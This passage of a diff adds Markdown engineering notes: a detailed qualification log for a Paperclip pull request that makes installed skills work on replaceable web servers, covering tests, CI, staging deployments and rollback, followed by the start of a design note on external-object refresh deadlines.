delivered and executed, Studio reached `succeeded`, and its output snapshot
|
||||
persisted. Independent package verification found zero blockers.
|
||||
- The maintenance CLI configuration bootstrap regression and server typecheck
|
||||
passed. The PR records final CI/review status for the commit containing this
|
||||
evidence update.
|
||||
|
||||
Runtime candidate `9200e3fcb4` contains the native Studio selection/completion and
|
||||
legacy completeness fixes. It is deployed and qualified. Later changes integrate
|
||||
master, protect drafts during a delayed UI reload, and load persisted Cloud
|
||||
configuration in the maintenance CLI; their verification is recorded separately.
|
||||
The chronological record below
|
||||
retains earlier failures and intermediate pending states; this section describes
|
||||
the current qualification status.
|
||||
|
||||
## Accepted contract
|
||||
|
||||
Given the same database, object storage, secrets, and supported application
|
||||
artifacts, a replacement server must discover, read, edit, and deliver protected
|
||||
installed skill versions without its predecessor's files or process memory.
|
||||
Disk is permitted for disposable scratch, verified caches, and execution delivery.
|
||||
Managed authoring and library operations address immutable content, not a mutable
|
||||
installed directory. Git remains the authoring source for repository skills;
|
||||
installed revisions and run pins govern delivery. Linked local sources remain an
|
||||
explicit self-hosted compatibility boundary.
|
||||
|
||||
Current, pinned, active/recovering, and authored versions retain durable bytes.
|
||||
Unused historical Git versions keep the existing expiry/exact-commit policy.
|
||||
Legacy conversion may use one maintenance window. Compatible later upgrades and
|
||||
rollback use the same remote state. Other web-server persistence, Railway traffic
|
||||
handoff, and production volume removal are outside this slice.
|
||||
|
||||
## Delivery and acceptance
|
||||
|
||||
1. Introduce managed ownership and content publication without installed paths;
|
||||
preserve access, atomic metadata/version publication, idempotency, conflicts,
|
||||
and active-run retention. Update Studio and API consumers.
|
||||
2. Separate selection/pinning from materialization; restore exact runtime digests.
|
||||
Add bounded legacy conversion and disk-independent eligibility diagnostics.
|
||||
3. Prove cold A → B → C replacements, concurrent writers, uncertain commits,
|
||||
offline upstream, corrupt/missing objects, access, retention and idle behavior.
|
||||
Run required checks and qualify one disposable staging tenant with a real
|
||||
remote agent. Finish with a reviewable PR and exact revision/evidence links.
|
||||
|
||||
## Canonical work and progress
|
||||
|
||||
- Worktree: `/Users/dotta/.codex/worktrees/d084/paperclip`
|
||||
- Branch: `codex/skills-ephemeral-web`
|
||||
- Draft PR: https://github.com/paperclipai/paperclip/pull/18334
|
||||
- Approved plan: this chat, “Skills on ephemeral web servers,” nine sections.
|
||||
- Implemented managed create/read/edit/delete-file/fork/rename/restore publication,
|
||||
immutable catalog installation/reset, Studio version conflict recovery, durable
|
||||
pre-materialization selection and exact pinned-runtime rehydration. Source
|
||||
disconnect retains immutable content and access provenance.
|
||||
- Added bounded installation conversion, eligibility and independent version
|
||||
verification to existing migration tooling; conversion requires retired writers.
|
||||
- Independent OS-process A → B → C qualification passed using owned Docker
|
||||
PostgreSQL and RustFS S3 fixtures. Real HTTP routes covered saves, supporting
|
||||
executable content, uncertain commit receipts, stale concurrent saves and upload
|
||||
crashes. This is not hosted Runner qualification.
|
||||
- Studio tests: 14 passed, including draft preservation and confirmed reload.
|
||||
- Workspace typecheck and build passed. Map checks and UI token gates passed.
|
||||
Broader compatibility coverage passed 362 cases; follow-up runs passed migration,
|
||||
policy, package, project access and retained-run cases after updating old model
|
||||
expectations. Final focused checks and the full repository suite are running.
|
||||
- One-connection tests now exercise package acquisition before the publication
|
||||
transaction. Fork reassignment also uses the transaction's database handle.
|
||||
- Host embedded Postgres cannot initialize: exhausted kernel semaphore pool.
|
||||
Owned Docker fixtures are `paperclip-skills-ephemeral-pg` (port 61006) and
|
||||
`paperclip-skills-ephemeral-s3` (port 61007). No unrelated databases changed.
|
||||
- Disposable staging tenant created through normal onboarding:
|
||||
https://ephemeral-skills-qa-oct-30.staging.paperclip.app
|
||||
Agent `dfd238b5-5e5d-43ef-b34a-cb5bff2267f3` (Skills Qualification), paused.
|
||||
OpenAI API-key setup uses the explicitly authorized local credential. Candidate
|
||||
`6518b323528b2b595c5949c3ed2c57a8d2438cb6` is building under release run
|
||||
https://github.com/paperclipai/paperclip/actions/runs/41085949238.
|
||||
Single-tenant deploy request: `c65f3677-4b4e-4687-957a-28e2bfb89451`.
|
||||
Stack `stack-pool-50f5009d5644` is user-managed during qualification so unrelated
|
||||
fleet rollouts cannot replace the test candidate. No live run claimed yet.
|
||||
- Greptile's first review found root-package path truncation, linked-local fork
|
||||
and restore regressions, and a concurrent receipt replay race. Fixed all four;
|
||||
focused review checks passed 76 server and 16 Studio tests. CI also exposed
|
||||
obsolete host-path fixtures and a company-deletion/publication race. Updated
|
||||
those fixtures and publication locking; 20 targeted integration tests passed.
|
||||
Skill detail now resolves existing metadata without seeding the entire library.
|
||||
- Remaining: finish repository checks and PR review, candidate deployment and
|
||||
fresh-home remote Runner qualification including compatible rollback. The PR
|
||||
stays draft until hosted qualification and the final checks are complete.
|
||||
- Greptile reached 5/5 with all six comments resolved at `8c0fae76a6`.
|
||||
CI at that revision passed typecheck, build, all unit/integration shards and
|
||||
Runner checks; two browser shards still require investigation. The shared-chat
|
||||
question fixture's five-second assertion raced a successful asynchronous run;
|
||||
its readiness wait now follows the existing run-settlement helper.
|
||||
- A cold metadata assertion exposed three manifest downloads during history
|
||||
listing. New versions now persist a complete metadata index and migration
|
||||
backfills legacy indexes without changing content/version identity. Process
|
||||
qualification confirmed zero metadata/warm downloads; its tiny fixture measured
|
||||
a 176 ms cold read (two objects, 899 bytes), 37 ms warm execution preparation,
|
||||
899 MB process RSS and 820 bytes of temporary files. These local fixture numbers
|
||||
are not hosted latency or incremental memory claims. A follow-up compatibility
|
||||
run caught changed file ordering; preserving the existing order fixes that drift.
|
||||
- Metadata/package compatibility passed all 44 tests after preserving file order.
|
||||
Both affected browser cases passed independently. Stop/reset now allows a bounded
|
||||
30-second cold startup; its failure trace showed cancellation during preparation
|
||||
when the old five-second assertion expired, before the fixture began streaming.
|
||||
- The baseline image published successfully, but the deployment check rejected the
|
||||
branch with `fleet_campaign_staging_requires_master` (Cloud run `41092962684`).
|
||||
Current Cloud policy uses `test.paperclip.app` for branch experiments. The local
|
||||
Cloud checkout's older runbook missed this boundary. Qualification is moving to
|
||||
an owned disposable test tenant; the rejected request made no tenant deployment.
|
||||
- All 53 applicable CI checks passed at `0dc9a42a6f` (two skipped checks).
|
||||
The next review found that complete metadata indexes bypassed the unchanged
|
||||
linked-local manifest shortcut. Whole-package identity mappings now retain that
|
||||
shortcut; subsets and remapped paths still use their projected inventory.
|
||||
- A new concurrency regression reproduced a content save overwriting an already
|
||||
acknowledged metadata edit. Publication now checks the metadata fields it will
|
||||
replace as well as the version head, and returns 409 when they changed during
|
||||
preparation. The managed-content and catalog suites passed after this fix.
|
||||
- Local package/project checks hit timing limits while an older full-suite worker
|
||||
remained active for over 80 minutes. That task-owned run was stopped; it is not
|
||||
recorded as a full-suite pass. All four isolated package cases then passed,
|
||||
including the two previous timeout failures and the linked-local regression.
|
||||
Final project-access/process qualification is running sequentially. Server
|
||||
typecheck passed with both final fixes.
|
||||
- Correct disposable branch-test tenant:
|
||||
https://ephemeral-skills-qa-oct-30.test.paperclip.app
|
||||
Stack `stack-ephemeral-skills-qa-oct-30` is pinned user-managed. Baseline A
|
||||
`6518b323528b2b595c5949c3ed2c57a8d2438cb6` is confirmed serving from image
|
||||
`ghcr.io/paperclipai/paperclip:sha-6518b323528b2b595c5949c3ed2c57a8d2438cb6-cloud`.
|
||||
Deploy request `19c33461-d232-453a-bdd1-ba357459be48`, campaign
|
||||
`fleet-campaign-1793366873548`, Cloud run `41094804453`: one target succeeded.
|
||||
The user approved saving the same OpenAI key to this test tenant; its remote
|
||||
Codex environment verification succeeded on a Paperclip Computer.
|
||||
- Studio created unassigned managed skill `3ade7878-8aaf-47c7-aebd-7da23a8afb5d`
|
||||
(Ephemeral Skills Proof), with instructions, `references/value.txt`, and
|
||||
`scripts/prove.sh`. Remote agent `300911d4-590d-4a26-b1c0-c80db14fa072` is
|
||||
preparing the executable flag through the ordinary API. Fresh-home replacement,
|
||||
delivered-byte verification and compatible rollback remain pending.
|
||||
- Final sequential project-access/process qualification passed all 31 cases;
|
||||
the complete-map package checks passed all four isolated cases. The metadata
|
||||
and linked-local fixes were pushed as `ceab192b1774fcb5be17db57de5579d81007b9c1`.
|
||||
- Remote preparation task EPH-1 saved revision 6, version
|
||||
`1abec28d-dd4a-4763-acd4-5a67af874911`, with the script executable. All three
|
||||
reported file digests match hashes independently computed from the Studio
|
||||
inputs. Company: `16cfa89e-f159-5040-927e-aca46ee87c2f`.
|
||||
- Baseline Studio test `81951c91-ec59-4eae-b5c5-c0083119f6ae` failed before
|
||||
execution (`b326a961-c1b8-43ad-b38b-7f6424939ee3`): its route constructed
|
||||
heartbeat without the existing plugin worker manager. This is a route wiring
|
||||
failure, not missing skill content or missing image dependencies. The fix passes
|
||||
the app's existing manager through the Studio route to execution, matching other
|
||||
task routes. No Cloud composition/admission policy changes are required.
|
||||
The first route-suite attempt hit its 30-second module-load setup timeout before
|
||||
any test ran; a bounded 120-second setup-budget retry is running.
|
||||
- The Studio route regression suite passed all 64 cases on retry, and server
|
||||
typecheck passed. The managed sandbox manager is reused from app construction;
|
||||
no provider behavior, permissions or lifecycle ownership changed.
|
||||
- Baseline remote task EPH-3 passed on run
|
||||
`07a711a9-a7d7-45e3-8c00-f64f71d2a9cc`: the delivered v6 script ran directly
|
||||
with mode `555`, printed `skill-script-A: durable-skill-payload-A-20261030`,
|
||||
and all three file digests matched independently calculated input digests.
|
||||
Its saved task document records the execution-local installation path.
|
||||
- Imported repository skill `581b718a-3681-48c4-96d5-87d12b694550` from
|
||||
`paperclipai/paperclip` commit `dff63551fe07934a82a0942e502adba3fcbb08ca`.
|
||||
The existing import filter admitted 12 files and excluded the API reference.
|
||||
A later explicit source refresh hit the repository size limit and retained
|
||||
the installed revision. That refresh is not counted as a successful update.
|
||||
- Test-only env campaign `fleet-campaign-1793366873581` succeeded at
|
||||
`2026-10-30T17:38:00.006Z`, changing only `PAPERCLIP_HOME` to
|
||||
`/tmp/ephemeral-skills-a` on `stack-ephemeral-skills-qa-oct-30`.
|
||||
Audit evidence reports one target, one key, zero removed keys, and unchanged
|
||||
Computer images. Studio reopened v6 with its supporting files afterward.
|
||||
Unassigned fork `6381a0a0-582b-4d26-b858-4e56b606e07c` was created through
|
||||
Studio and saved as v2 with `unassigned-payload-A-20261030` in its reference.
|
||||
- Review of `35b6a12fe4` identified a forced catalog reinstall conflicting with
|
||||
its own audit metadata write. A real Postgres regression reproduced the 409.
|
||||
Candidate auditing is now read-only; successful publication commits the new
|
||||
audit metadata, while unchanged/rejected operations retain audit reporting.
|
||||
Regression checks cover forced reinstall, a new slug, and a competing metadata
|
||||
writer. The combined catalog/managed run passed 29 cases and hit one unrelated
|
||||
15-second asset-test timeout; all four focused catalog cases passed on an
|
||||
isolated rerun. Server typecheck passed.
|
||||
- Latest browser CI exposed another five-second startup assertion in the
|
||||
feature-disable journey. Its trace showed an active adapter invocation before
|
||||
the fixture's first message. The assertion now uses the existing 30-second
|
||||
cold-start budget; the exact browser journey passed locally in 12.5 seconds.
|
||||
No feature-disable behavior or fixture completion assertions changed.
|
||||
|
||||
- Latest code review of `07fffa749511a39b05b2dbc43adcce842195398a` is 5/5,
|
||||
with zero unresolved review threads. Hosted candidate build is run
|
||||
`41101360597`; baseline A remains deployed until it completes.
|
||||
- Provider console independently confirmed external Neon Postgres and S3 on A,
|
||||
with `PAPERCLIP_HOME=/tmp/ephemeral-skills-a`, deployment
|
||||
`5fc05d1a-2451-465c-8a15-16b18d1e0d3d`, replica
|
||||
`f7393d02-49b6-40b9-ae94-db9181300bf4`. A temporary marker was written to
|
||||
that home so a later container can prove the predecessor's local state is absent.
|
||||
- Imported the smaller `vercel-labs/agent-skills` repository at exact commit
|
||||
`93f5a2dee1a270015473e19d24a758a012fa058b`: skill
|
||||
`3e9f2b84-2d15-49f9-a5c0-8596f4c6e313`, source
|
||||
`0c03e633-d22e-4a63-b5a5-843823f2eb7b`, 75 admitted files.
|
||||
Early pin attempts were rejected by the existing Beta skills gate. The late
|
||||
error toast was confirmed; read-only DB inspection showed no saved pin.
|
||||
- Beta skills is a tenant preference, so fleet feature override correctly
|
||||
rejected it as non-managed. Test-only env campaign
|
||||
`fleet-campaign-1793366873607` exposed only this preference, preserving the
|
||||
complete existing hidden-settings list and temporary A home. It succeeded at
|
||||
`2026-10-30T18:04:20.150Z`: one target, two keys, zero removed keys, unchanged
|
||||
Computer images. The tenant's normal Experimental UI then saved Beta skills
|
||||
enabled. No fleet default, identity, permission, or volume policy changed.
|
||||
- The preference campaign replaced A's container: deployment
|
||||
`9ba9202e-7f47-4edd-b501-aa807760b132`, replica
|
||||
`d2131533-f4d2-4173-b984-ca46beaef61c`. Provider console observed the
|
||||
predecessor marker absent, then wrote a new A2 marker for the next replacement.
|
||||
- Repository assignment saved through the library UI as historical version
|
||||
`918e2066-b241-4cdc-934a-db896138240b` (revision 1, `GitHub 93f5a2de`).
|
||||
Explicit source refresh to main published current revision 2
|
||||
`fa3bb9ac-fcd9-443b-970c-f62590f881dc` (`GitHub 1a2c79d4`); automatic
|
||||
updates remain paused for this fixture.
|
||||
- Remote task EPH-4 (`e561a058-3e2d-4f90-9899-a69c6539ed42`), run
|
||||
`9917cfa3-caed-400a-b1a0-58183e2e2614`, passed after A's temporary state
|
||||
was replaced. Managed v6 hashes/output/mode matched EPH-3. The repository
|
||||
wrapper delivered revision 1 while revision 2 was current. Independently read
|
||||
exact-commit upstream contents matched the delivered instruction digest
|
||||
`50b55178a2da8ee931850193596601fa0517cd800e171366a903769f25bf4dda`
|
||||
and `rules/async-parallel.md` digest
|
||||
`6d2f841896279e976dfcdc1ac89e70771ac188baadfd43c096b5706cb838b961`.
|
||||
The agent used the rule to recommend parallel independent fetches and saved
|
||||
paths, command results and API history in task document `immutable-pin-proof`.
|
||||
- Required CI gates `ci / verify` and `ci / e2e` passed on `07fffa749`.
|
||||
Latest check rollup: 52 success, two skipped, one cancelled advisory review
|
||||
job; Greptile separately completed at 5/5 with no unresolved threads.
|
||||
|
||||
- Candidate `07fffa749` deployed successfully through core-only test request
|
||||
`d4e172e8-a861-48cc-ae9c-e2f26c8ee636`, Cloud run `41106109829`.
|
||||
B is deployment `ed70e789-22c3-4b93-93de-da61d7f30ca4`, replica
|
||||
`16fbb2e8-a7b3-4f32-a483-bc2f5c77a8ee`, with
|
||||
`PAPERCLIP_HOME=/tmp/ephemeral-skills-b`. Local health confirmed the code SHA;
|
||||
provider console confirmed A's home and marker absent. The unassigned fork
|
||||
opened as v2 with zero agents. Studio acknowledged a supporting-file edit to
|
||||
the primary managed skill as v7 (`durable-skill-payload-B-20261030`).
|
||||
- Independent verification on B read 23 saved versions: 21 `remote_storage`
|
||||
results and two `database_release_snapshot` results. No corrupt, missing,
|
||||
local-storage or provider-mismatch results. The next cursor returned zero.
|
||||
- Live Studio test EPH-5, test `9c4f3775-2793-46c6-b09d-e3343e0e4c65`,
|
||||
heartbeat `7fe45977-a061-408b-b7c5-5721a7e9f08b`, passed the repaired plugin
|
||||
wiring but failed native admission: `skill_test` was excluded by Runner's
|
||||
task-mode allowlist and execution-input parser. This failure is retained;
|
||||
the Studio acceptance requirement remains pending a deployed retry.
|
||||
- Follow-up admits and preserves `skill_test` through the existing native
|
||||
selection, execution contract and tool bindings. It does not relabel tests
|
||||
as standard work. Task-bound JWT restrictions remain with their authorization
|
||||
owners; the native surface is restricted as detailed below. No executor refactor or
|
||||
Rust protocol change is needed. Older images that reject this mode cannot
|
||||
continue a new Studio test; rollback qualification settles tests first.
|
||||
- Follow-up local checks: 78 admission/input tests, 109 Runner contract tests,
|
||||
40 assigned-MCP tests, and three real-HTTP skill-test scope regressions passed.
|
||||
Initial scope/MCP attempts encountered sandbox socket restrictions; permitted
|
||||
retries passed. Runner TypeScript/Rust checks and server TypeScript check
|
||||
passed. Maps remain aligned (35 areas, 192 capabilities).
|
||||
|
||||
- B's v7 is `e1f96114-6be5-4878-b9ae-269bac0da215`; independent hash of
|
||||
its supporting file is `c2d9b967aa8ddfad7896804ea1a7ae613b8ff631ff6a084cee7553125bc7fd27`.
|
||||
EPH-6 (`c5377e90-c80c-4f97-8ada-c4eaf205af0a`), run
|
||||
`96537d81-b224-442a-9ec1-993fbd89ff56`, completed successfully and saved
|
||||
`server-b-skill-proof`. Direct script output contained the B payload; executable
|
||||
mode remained 555, other managed hashes were unchanged, and repository v1
|
||||
instruction/rule hashes matched the independent exact-commit reference.
|
||||
- C home campaign `fleet-campaign-1793366873685` (target
|
||||
`fleet-campaign-target-1793366873686`) succeeded at
|
||||
`2026-10-30T18:36:03.930Z`, preserving both managed env keys and Computer images.
|
||||
Deployment `462e3327-e49b-4096-b5e2-73f5db058a9f`, replica
|
||||
`01c696c4-89b9-4358-9c2b-108faa4c9d50`, served `07fffa749` with home
|
||||
`/tmp/ephemeral-skills-c`. Console verified A and B directories and B's marker
|
||||
absent. Studio cold-read v7 and the exact acknowledged B payload.
|
||||
- Unassigned fork v2 identity was independently confirmed as
|
||||
`8b008393-f909-424a-9f68-1995231455a7`. It remained at zero assignments on C;
|
||||
its supporting file was then edited through Studio to a C-specific payload.
|
||||
Execution on the candidate with native Studio admission remains pending.
|
||||
- C's remote EPH-7 (`d57f6f66-7072-4fb9-abde-199edf5192ef`), run
|
||||
`c7f89682-ab9b-4f00-940f-88967c6c0264`, completed successfully. The saved
|
||||
`server-c-skill-proof` document (revision `8129375b-f56c-4b80-99b0-637481a31f72`)
|
||||
was independently opened and read. All five hashes matched the B run and
|
||||
independent references. Its new session `7f164893cdc73464e112e2572baed3ddc166bb29485d770c37fbf7449793cdc0`
|
||||
executed the unchanged script with exit 0, mode 0555 and the exact B payload.
|
||||
The managed selected/current version remained v7, and repository selection
|
||||
remained v1 while its current head remained v2.
|
||||
- Review of `8821b040` found that native task creation omitted the admitted
|
||||
skill-test scope. Image build `41108317938` was cancelled before deployment.
|
||||
Native authorization now carries the saved scope, denies company/peer tools,
|
||||
task creation and external tools, and checks the scope before mutation receipt
|
||||
replay. Task context contains only the harness task. Real database regressions
|
||||
exercise both fresh tests and persisted tests after their task mode changes.
|
||||
- Native scope checks passed: three new real-database cases plus four REST
|
||||
scope/image-access cases. The existing native tool-authority suite passed all
|
||||
37 tests. Server typecheck and map checks passed. The initial new-test attempts
|
||||
corrected a fixture tool name and matched the existing privacy-preserving 404
|
||||
for unrelated tasks; own-task reads returned 200.
|
||||
- `350f1b377c459420a1c1474723501a4bccc6d7fc` received Greptile 5/5.
|
||||
The native-scope review thread is resolved. Test deployment request
|
||||
`d2480188-1fc9-4a22-a32b-16af7f439ca4` prepared in Cloud run `41110650568`;
|
||||
candidate image build is `41110729544`.
|
||||
- The fork's C save is version `ef34d9e5-2533-497e-8411-a797117afb4a`.
|
||||
C's durable `tool.execution.completed` event at sequence 322 was inspected
|
||||
independently of the report: the real shell command completed with exit 0,
|
||||
mode 555, all five expected hashes, and `skill-script-A: durable-skill-payload-B-20261030`.
|
||||
A disposable `qualification-marker-c` was written in C's temporary home for
|
||||
the next container replacement check.
|
||||
- Full CI at `350f1b377c` passed 50 checks but found two old `mode_denied`
|
||||
message expectations in case/reassignment tests. Both operations are rejected
|
||||
earlier by the native scope guard with 403. Updated the assertions and checked
|
||||
that denial never stops another task. The case-gate regression and all 26
|
||||
reassignment tests passed locally. Reassignment now uses the existing optional
|
||||
external-Postgres helper; initial attempts hit exhausted embedded-Postgres
|
||||
resources and a startup timeout, retained as failures rather than passes.
|
||||
These follow-ups change only tests and evidence, not candidate runtime code.
|
||||
- Image `350f1b377c` deployed successfully in Cloud run `41115408877`, confirmed
|
||||
by local health on deployment `d70457ab-a812-45d5-8a38-657f6bfc02de`, replica
|
||||
`9f58192d-9207-4065-86e4-48887c6a8b3e`. A/B homes and C's marker were absent.
|
||||
- Studio test `ef0aa327-f719-44a3-bea2-1d051f2a793a`, task EPH-8
|
||||
(`860476c5-d4bf-4619-9206-8aa18884f545`), executed successfully but delivered
|
||||
the agent's normally assigned primary skill instead of the requested unassigned
|
||||
fork. Its report explicitly records the mismatch. This is a failed qualification,
|
||||
regardless of the task's Done status. The fix passes the durable Studio pin into
|
||||
execution preparation, replacing ordinary assignments while preserving recovery
|
||||
pins and current access checks. Hosted retry remains required.
|
||||
- The same EPH-8 heartbeat (`94eeb6ff-7d9e-49b7-bee2-0ef5f41ff8a4`) succeeded
|
||||
and marked its task Done, but the Studio row remained queued with an empty
|
||||
output snapshot. Native completion bypassed the REST-only success hook. Native
|
||||
status publication now calls the existing skills owner within its transaction;
|
||||
status, output and activity commit together. Four real-Postgres regressions pass
|
||||
for completion/cancellation, replay from another client, transaction rollback,
|
||||
blocked work and superseded tests. Completion uses a conditional terminal update.
|
||||
- The two selection regressions pass, including assembled dispatch of an unassigned
|
||||
historical executable file. Server typecheck and map checks pass. A broad local
|
||||
execution suite attempt hit timeout cascades (20 passed, 9 failed); this is not
|
||||
counted as success. Isolated new tests passed; the full affected suite is rerunning.
|
||||
- Compatible rollback request `2363f01e-2e6b-4b72-9234-3fd0c5f22e88` deployed
|
||||
`6518b323528b2b595c5949c3ed2c57a8d2438cb6` through Cloud run `41116892516`.
|
||||
Deployment `5034b027-d9e2-4bd6-8efe-526d3d065d7d`, replica
|
||||
`9ff45218-e553-4122-b411-e7052c521917`, was confirmed through local health.
|
||||
The predecessor's `qualification-marker-d` was absent. Studio reopened the
|
||||
unassigned fork's v3 supporting file as `unassigned-payload-C-20261030`.
|
||||
- Rollback task EPH-9 (`d5d03621-9616-4713-88ad-0ea54e4c3d53`), run
|
||||
`7ae0b61d-0e9f-4761-914c-9dc399c0ebc8`, completed on a real remote Computer.
|
||||
Its `rollback-skill-proof` document matches all six independently known hashes,
|
||||
managed v7 and repository v1 IDs. It executed the unchanged script with exit 0,
|
||||
mode 0555 and the acknowledged B payload. Durable command event sequence 293
|
||||
was independently inspected through the tenant console and confirms those
|
||||
bytes, hashes and actual execution. The repository rule also produced the useful
|
||||
independent-requests `Promise.all()` recommendation.
|
||||
- The complete affected suites passed all 33 tests in 65.65 seconds. The Studio
|
||||
fix is `417270ab18`; current master `3b84c89885` merged without conflicts as
|
||||
`5afd8c3b056f6c0fceeb121c0f398beb72317e2b`. Post-merge server typecheck,
|
||||
all 33 affected tests, map checks and UI token gates passed again.
|
||||
- The independent OS-process replacement matrix passed again on `5afd8c3b05`
|
||||
(two scenarios, 54.24 seconds). A/B/C version IDs were
|
||||
`56c4b315-082f-4caa-8788-02e10b45d3a4`,
|
||||
`ed03e467-3a81-4256-849e-53ece688e5aa`, and
|
||||
`9ff5d4ce-43e7-4b2e-883d-8b010fc5c42b`. Cold read was 522.16 ms,
|
||||
two downloads/899 bytes; warm preparation was 143.72 ms with zero downloads.
|
||||
Reported RSS was 881,639,424 bytes and disposable home content 820 bytes.
|
||||
These are local fixture measurements, not hosted latency claims.
|
||||
- Candidate request `9a03542e-ea41-4ea1-94c8-7dd1ae38c621` prepares in Cloud
|
||||
run `41118819981` and builds in Core run `41118878753`. The tenant remains on
|
||||
the verified rollback image until this candidate is deployed.
|
||||
- Review at `5afd8c3b05` found that existing partial repository versions could
|
||||
bypass conversion and be reported as eligible. Installation conversion,
|
||||
eligibility and independent verification now compare the current saved inventory
|
||||
with the installed inventory. Missing files block readiness; conversion can use
|
||||
only complete saved/local content or the exact pinned remote source. Both JSONB
|
||||
and packaged legacy regressions pass, including upstream failure with an unchanged
|
||||
head, exact-commit repair and unchanged complete installations. The entire managed
|
||||
content suite passed 16 tests. Build `41118878753` was cancelled before deployment
|
||||
so hosted acceptance will use a candidate containing this correction.
|
||||
- Full workspace typecheck passed after allowing the migration launcher's local IPC
|
||||
socket. The initial sandbox attempt failed with `listen EPERM` before that check
|
||||
could run. The workspace build is running separately.
|
||||
- The workspace build passed on `9200e3fcb4` after correcting a missing-version
|
||||
null check caught by its first attempt. Greptile re-reviewed that commit at
|
||||
5/5 with zero unresolved findings. Image request
|
||||
`0b5a10c1-dccf-4c01-9db7-548ea07897a0` prepares in Cloud run `41120340127`
|
||||
and builds in Core run `41120440752`.
|
||||
- Earlier failed Studio fixture `ef0aa327-f719-44a3-bea2-1d051f2a793a` was
|
||||
cancelled through Studio to settle its stale queued pin. Its mismatch report and
|
||||
draft output remain visible. It is still recorded as a failed qualification.
|
||||
- CI run `41120305357` found the same obsolete restart-scope fixture in Runner
|
||||
static checks and general server shard 5. The helper always returned no saved
|
||||
skill; preparation now correctly rejects that state. It now reads a real durable
|
||||
test/version row, asserts missing-version rejection first, and still verifies
|
||||
restricted REST scope after task-mode edits. Both focused HTTP cases and server
|
||||
typecheck pass. The complete 52-case HTTP suite passed in 63.78 seconds. This follow-up
|
||||
changes only the test fixture and evidence, leaving image runtime code unchanged.
|
||||
- Master advanced to `76fde891cc` during image publication. Merge `61f5664337`
|
||||
preserves both the skill-recovery and native-usage imports; no skills behavior
|
||||
changed in the merge. Full workspace typecheck and build passed. A combined
|
||||
local run passed 42 cases, failed three execution timeouts plus a tracer setup
|
||||
assertion, and skipped 52 HTTP cases after a setup timeout. Isolated retries
|
||||
are recorded below rather than treating the combined run as passing.
|
||||
- Review found a delayed conflict-reload response could overwrite text typed after
|
||||
discard confirmation. The response now applies only while the same skill, file
|
||||
and draft remain current. All 17 Studio component cases passed, including a
|
||||
delayed response while the user continues typing. This client-only follow-up
|
||||
is separate from the `9200e3fcb4` server image used for remote delivery proof.
|
||||
- Full CI run `41124309799` passed at `7ec495de77`; Greptile review 14 is 5/5
|
||||
with zero unresolved findings. The isolated local execution retry stopped
|
||||
producing progress and was interrupted; no success is claimed for that attempt.
|
||||
The full CI suites cover the integrated execution and HTTP cases.
|
||||
- Candidate `9200e3fcb45082ad73fbb75863d56eb2e6ce526c` deployed successfully
|
||||
through Cloud run `41124147876`, ready at `2026-10-30T20:36:46Z`.
|
||||
Deployment `3daed721-eefe-4947-afe3-d8fd1db6aa2c`, replica
|
||||
`29375d2e-50ea-467e-9492-a2d4bc7e628e`, retained the temporary C home setting.
|
||||
Console inspection confirmed A/B homes and the rollback marker absent.
|
||||
- The Studio retry created test `7c55d51d-c2c9-426e-a2fa-3606c486d41a`, task
|
||||
`e8405564-1d2e-4013-8aeb-145de0a76fbd`, and remote run
|
||||
`c6ebc90d-1411-404b-ad6d-789d960a7a48`. It delivered only the selected
|
||||
unassigned fork `ef34d9e5-2533-497e-8411-a797117afb4a` (v3), with
|
||||
`unassigned-payload-C-20261030\n`, stdout
|
||||
`skill-script-A: unassigned-payload-C-20261030\n`, exit 0 and mode 0555.
|
||||
Studio visibly reached `succeeded` and displayed the durable output snapshot.
|
||||
The fork still has zero assignments. SHA-256 values match the expected fixture:
|
||||
`SKILL.md` = `a97ee4d33cac28f9affcc53e48b3de00f72a9a8b70a0b3a53bb81569b1111ae6`,
|
||||
reference = `0d5a7396baaf395ef24e9136b2f9892e9878d863b42ff3195d376f61248d1f5f`,
|
||||
script = `8830c87e4e56e76dbe70bfac5fa4260d1e33d62eaa3289d1f8887a3fa9521da0`.
|
||||
- Independent database inspection confirmed task EPH-10 is done, its native run
|
||||
succeeded, and its exact durable selection contains only the unassigned fork v3.
|
||||
The Studio row is `succeeded` with a 1,915-character output snapshot. Runner
|
||||
command event sequence 204 independently confirms all three hashes, actual
|
||||
script stdout, exit 0 and mode 0555; these are tool results, not only the agent's
|
||||
report. The Studio success screenshot is retained with the handoff.
|
||||
- Final eligibility inspected 14 installations, all `version_backed`.
|
||||
Independent verification inspected 25 versions: 23 `remote_storage`, two
|
||||
`database_release_snapshot`, zero blockers, and zero rows at the next cursor.
|
||||
The first standalone command incorrectly reported packages unavailable because
|
||||
it had not loaded Cloud's persisted runtime configuration. The same services
|
||||
passed after loading that snapshot. The CLI now loads it read-only and fails
|
||||
explicitly if absent, without seeding configuration. A real child-process test
|
||||
covers missing configuration, no write on inspection, eligibility, and object
|
||||
verification; it passed. An initial diagnostic wrapper also used a nonexistent
|
||||
compiled DB entry point; correcting it to the image's source entry point allowed
|
||||
the bounded verification to run. Neither diagnostic failure changed skill data.
|
||||
- The CLI child-process regression passed in 46.52 seconds, and server typecheck
|
||||
passed after the bootstrap correction. The CLI reads existing configuration
|
||||
without creating or changing it; no new maintenance process or listener exists.
|
||||
@@ -0,0 +1,124 @@
|
||||
# External object refresh deadlines
|
||||
|
||||
External-object refresh uses the delivery coordinator. The server registers the
|
||||
service in both heartbeat-scheduler configurations. It no longer calls the
|
||||
company-wide aggregate sweep on each heartbeat tick.
|
||||
|
||||
`external-objects.ts` owns automatic eligibility, resolver selection, refresh
|
||||
claims, provider results and the next deadline. `index.ts` supplies registration
|
||||
and admission gates. The existing scoped deadline helper owns wake coalescing,
|
||||
page reconciliation, fair company selection, retry backoff and shutdown.
|
||||
|
||||
## Durable obligations and quiet states
|
||||
|
||||
An automatic refresh needs an active company, a retained mention in that company,
|
||||
a non-null `next_refresh_at` and an available resolver. Injected resolvers,
|
||||
including custom `url/link` resolvers, remain supported. A plugin resolver needs a
|
||||
ready plugin with `external.objects.read`, a matching provider/object declaration,
|
||||
and no company setting that disables it. Built-in resolvers remain available
|
||||
independently of optional plugin support.
|
||||
|
||||
A plugin result carries its selected plugin ID inside the host owner. Persistence
|
||||
rechecks that exact plugin's readiness, read capability, object declaration and
|
||||
same-company enabled setting in the result update. Another available resolver
|
||||
cannot authorize an obsolete plugin response. A rejected response releases only
|
||||
its own claim; the due row remains for a fresh allowed resolver. Plugin RPC
|
||||
payloads and public result shapes do not contain this host selection context.
|
||||
|
||||
|
||||
Terminal objects are passive. The existing exception remains: GitHub
|
||||
`not_found` snapshots without `data.probeVerified=true` need a repository-visibility
|
||||
probe before their terminal verdict is definitive. A null deadline retains its
|
||||
